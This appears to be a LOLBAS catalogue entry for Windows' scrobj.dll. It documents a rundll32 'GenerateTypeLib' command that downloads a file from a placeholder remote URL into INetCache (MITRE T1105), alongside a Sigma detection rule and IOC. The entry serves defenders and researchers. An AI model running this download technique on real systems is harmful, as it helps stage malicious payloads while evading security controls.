--- Name: Scrobj.dll Description: Windows Script Component Runtime Author: Eral4m Created: 2021-01-07 Commands: - Command: rundll32.exe C:\Windows\System32\scrobj.dll,GenerateTypeLib {REMOTEURL:.exe} Description: Once executed, scrobj.dll attempts to load a file from the URL and saves it to INetCache. Usecase: Download file from remote location. Category: Download Privileges: User MitreID: T1105 OperatingSystem: Windows 10, Windows 11 Tags: - Download: INetCache Full_Path: - Path: c:\windows\system32\scrobj.dll - Path: c:\windows\syswow64\scrobj.dll Detection: - Sigma: https://github.com/SigmaHQ/sigma/blob/e1a713d264ac072bb76b5c4e5f41315a015d3f41/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml - IOC: Execution of rundll32.exe with 'GenerateTypeLib' and a protocol handler ('://') on the command line Resources: - Link: https://twitter.com/eral4m/status/1479106975967240209 Acknowledgement: - Person: Eral4m Handle: '@eral4m'